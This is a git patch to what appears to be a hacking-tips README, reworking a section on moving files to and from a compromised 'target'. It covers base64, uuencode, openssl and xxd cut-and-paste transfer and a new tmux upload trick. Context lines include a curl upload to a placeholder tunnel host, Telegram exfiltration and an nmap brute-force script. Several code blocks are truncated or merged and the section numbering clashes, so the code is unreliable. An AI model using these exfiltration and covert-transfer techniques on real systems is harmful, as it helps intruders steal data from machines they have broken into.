From 6447f39afcb4ddddf107ca7710878139e852333b Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 1 Feb 2025 12:12:07 +0000 Subject: [PATCH] Update README.md --- README.md | 79 ++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 61 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 723a35f..bc5a2b2 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,7 @@ Got tricks? Join us [https://thc.org/ops](https://thc.org/ops) 1. [Data Upload/Download/Exfil](#exfil) 1. [File Encoding/Decoding](#file-encoding) 1. [File transfer using cut & paste](#cut-paste) + 1. [File transfer using screen](#xfer-tmux) 1. [File transfer using screen](#file-transfer-screen) 1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat) 1. [File transfer using HTTP](#http) @@ -1020,9 +1021,16 @@ nmap -p80 --script http-brute --script-args \ ### 4.i File Encoding -Encode binaries to text for transport via a terminal connection: +Trick to transfer a file to the target when the target does not have access to the Internet: Convert the binary file into ASCII-text (base64) and then use cut & paste. (Alternatively use gs-netcat's elite console with `Ctrl-e c` to transfer file over the same TCP connection.) -#### UU encode/decode +Use `xclip` (on your workstation) to pipe the encoded data straight into your clipboard: +```shell +base64 -w0 >> UU encode/decode ```sh ## uuencode @@ -1041,12 +1049,25 @@ uuencode /etc/issue.net issue.net-COPY ## uudecode (cut & paste the 3 lines from above): uudecode ``` - -#### Openssl encode/decode +#### >>> base64 encode/decode ```sh -## openssl encode -openssl base64 + Output - CLICK HERE + +> VWJ1bnR1IDE4LjA0LjIgTFRTCg== + + +```sh +base64 -d >issue.net-COPY +``` + +#### >>> Openssl encode/decode + +```sh +openssl base64 Output - CLICK HERE @@ -1055,14 +1076,12 @@ openssl base64 ```sh -## openssl decode (cut & paste the 1 line from above): openssl base64 -d >issue.net-COPY ``` -#### xxd encode/decode +#### >>> xxd encode/decode ```sh -## xxd encode xxd -p @@ -1072,7 +1091,6 @@ xxd -p ```sh -## xxd decode xxd -p -r >issue.net-COPY ``` @@ -1087,9 +1105,34 @@ cat >output.txt <<-'__EOF__' __EOF__ ### Finish your cut & paste by typing __EOF__ ``` +--- + +### 4.iii. File transfer - using *tmux* + +Start `tmux` on your workstation. Connect to your target by any means you like (ssh, gs-netcat, ...). + +#### From REMOTE to LOCAL (download) + +Use [Tmux-Logging](#tmux) to download large files from the target via the terminal to your workstation. + +#### From LOCAL to REMOTE (upload) + +Start your favorite decoding tool (base64) on the REMOTE: +```shell +# Use 'Ctrl-b $' to rename this tmux session to 'foo' +base64 -d >screen-xfer.txt +``` + +On your workstation, and from a different terminal, send base64-encoded data. It will arrive on your REMOTE in `screen-xfer.txt`. +```shell +tmux send-keys -t foo "$(base64 -w64 -### 4.iii. File transfer - using *screen* +### 4.vi. File transfer - using *screen* #### From REMOTE to LOCAL (download) @@ -1142,7 +1185,7 @@ Note: Two CTRL-d are required due to a [bug in openssl](https://github.com/opens --- -### 4.iv. File transfer - using gs-netcat and sftp +### 4.v. File transfer - using gs-netcat and sftp Use [gs-netcat](https://github.com/hackerschoice/gsocket) and encapsulate the sftp protocol within. Allows access to hosts behind NAT/Firewall. @@ -1167,7 +1210,7 @@ gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender --- -### 4.v. File transfer - using HTTPs +### 4.vi. File transfer - using HTTPs #### Download from Server to Receiver: @@ -1215,7 +1258,7 @@ curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F 'files=@myfil --- -### 4.vi. File download without curl +### 4.vii. File download without curl Using Python, download only: ```sh @@ -1286,7 +1329,7 @@ burl() { --- -### 4.vii. File transfer using a public dump +### 4.viii. File transfer using a public dump Cut & paste into your bash: ```sh @@ -1309,7 +1352,7 @@ A list of our [favorite public upload sites](#cloudexfil). --- -### 4.viii. File transfer - using rsync +### 4.ix. File transfer - using rsync Ideal for synchronizing large amount of directories or re-starting broken transfers. The example transfers the directory '*warez*' to the Receiver using a single TCP connection from the Sender to the Receiver. @@ -1362,7 +1405,7 @@ Pro Tip: Lazy hackers just type `exfil` on segfault.net. --- -### 4.ix. File transfer - using WebDAV +### 4.x. File transfer - using WebDAV On the receiver (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV: ```sh @@ -1400,7 +1443,7 @@ net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources --- -### 4.x. File transfer to Telegram +### 4.xi. File transfer to Telegram There are [zillions of upload services](#cloudexfil) but TG is a neat alternative. Get a _TG-Bot-Token_ from the [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Then create a new TG group and add your bot to the group. Retrieve the _chat_id_ of that group: ```sh